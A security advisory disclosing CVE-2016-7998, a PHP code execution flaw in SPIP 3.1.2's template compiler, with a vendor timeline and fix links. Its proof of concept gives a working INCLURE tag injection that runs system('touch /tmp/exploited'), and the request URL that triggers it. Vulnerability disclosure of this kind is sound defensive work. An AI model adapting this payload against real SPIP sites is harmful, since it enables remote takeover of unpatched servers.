SPIP 3.1.2 Template Compiler/Composer - PHP Code Execution

## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)



### Product Description



SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.



### Vulnerability Description



The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.

This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.



**Access Vector**: remote



**Security Risk**: critical



**Vulnerability**: CWE-94



**CVSS Base Score**: 9.1 (Critical)



**CVE-ID**: CVE-2016-7998



### Proof of Concept



Store a `.html` file in a random directory with the following content :



    <INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>



Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file:



    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html



The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests.



This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 :



    if (!squelette_obsolete($phpfile, $source)) {

      include_once $phpfile;



and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette):



    function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {

      if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))

        $doublons = nettoyer_env_doublons($Pile[0]["doublons"]);

      $connect = '';

      $page = (

    '<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));

    ?'.'>

    ');

      return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');

    }



Therefore, the vulnerability leads to arbitrary PHP code execution.





### Vulnerable code



The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123.



    if ($var !== 1) {

      $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")

        . $val . ($echap ? ") . '" : " ");

    }



### Timeline (dd/mm/yyyy)



* 15/09/2016 : Initial discovery

* 26/09/2016 : Contact with SPIP Team

* 27/09/2016 : Answer from SPIP Team, sent advisory details

* 27/09/2016 : Fixes issued for PHP Code Execution

* 30/09/2016 : SPIP 3.1.3 Released



### Fixes



* https://core.spip.net/projects/spip/repository/revisions/23186

* https://core.spip.net/projects/spip/repository/revisions/23189

* https://core.spip.net/projects/spip/repository/revisions/23192



### Affected versions



* Version <= 3.1.2



### Credits



* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)





-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream